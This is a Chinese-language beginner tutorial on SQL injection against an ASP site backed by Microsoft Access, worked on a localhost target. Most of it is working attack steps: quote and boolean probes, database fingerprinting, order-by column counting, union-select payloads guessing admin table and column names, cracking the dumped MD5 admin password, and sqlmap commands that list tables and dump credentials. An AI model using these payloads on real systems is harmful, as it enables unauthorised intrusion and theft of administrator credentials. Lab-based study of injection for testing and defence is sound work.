SQL注入access数据库【一】
access数据库简单介绍
先来介绍一下这个数据库,Microsoft Office Access,Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
优势:提高速度和减少代码量
缺点:当数据库过大时,一般达到100M左右性能就会开始慢慢下降了(比如访问人数过多,过度消耗服务器资源),安全性能差。
适合人群:小白,初学者了解sql注入,编程人员 (大佬勿喷)
首先是sql注入产生的条件:
1.参数的传递
2.参数值可以带入到数据库
第一步 找注入点
我这注入点是 http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139
先用 ' 单引号报错 如果报错了说明有注入点的可能性
再用
and 1=1 返回正常
and 1=2 返回不正常
返回正常 http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and 1=1
返回不正常 http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and 1=2
第二步 我们再来判断一下它的数据类型
and (select count(*) from sysobjects)>0 判断sql server
and (select count(*) from msysobjects)>0 判断access数据库 返回不够权限就是access数据库了
我这里判断的是 access数据库
第三步 用order by 判断字段数量
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 order by 30
我们这里使用折中猜解法,这里30返回报错,那我们继续下去
这里猜的是22个字段数量
那我们接着继续下去
第四步 联合查询
两条语句
union select 长度 from 表
union select 列名 from 表
首先我们长度是22
那我们构成语句
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 表名
这里表名我们就慢慢自己构造 直到出数据所在字段了
常用的表名
admin、a_admin、x_admin、m_admin、adminuser、adminstrator...
我这里猜测的表名是 admin 爆出来了
这里出来的两个字段 3,15 我们继续猜测列名
常用的列名
admin,password,username、admin_name、name、admin_userid、admin_id
我们就猜最常见的吧
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
admin放3字段位置上,password放在15字段位置上
ok账号密码都出来了
admin a48e190fafc257d3
密码是MD5加密了 我们拿到解密网站解密一下
最后解开的密码就是bendss
所以账号是 admin 密码是 bendss
sqlmap(access数据库注入)工具篇
先用 sqlmap.py -u "URL" 看看是否能注入
sqlmap.py -u "http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139"
ok,这里返回了 DBMS 'microsoft access' 也就是 access 数据库,也没报红,说明可以注入
我们先来猜猜它的数据库表名吧
语句
sqlmap.py -u "url" --tables
sqlmap.py -u "http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139" --tables
ok,这里表名有 admin admin_login email guestbook job news product
我们再来猜解下admin表里的字段
我们这里 需要的字段 就admin 跟 password
继续往下猜解这两个字段里的数据
语句
sqlmap.py -u "url" --dump -T 表名 -C "字段名"
sqlmap.py -u "http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139" --dump -T admin -C "admin,password"
数据也出来了 ok上面 解密过了 就不再解了
慢慢了解sql注入, 从最简单的数据库开始
*本文原创作者:辰小白 转载请注明来源于华盟网源及作者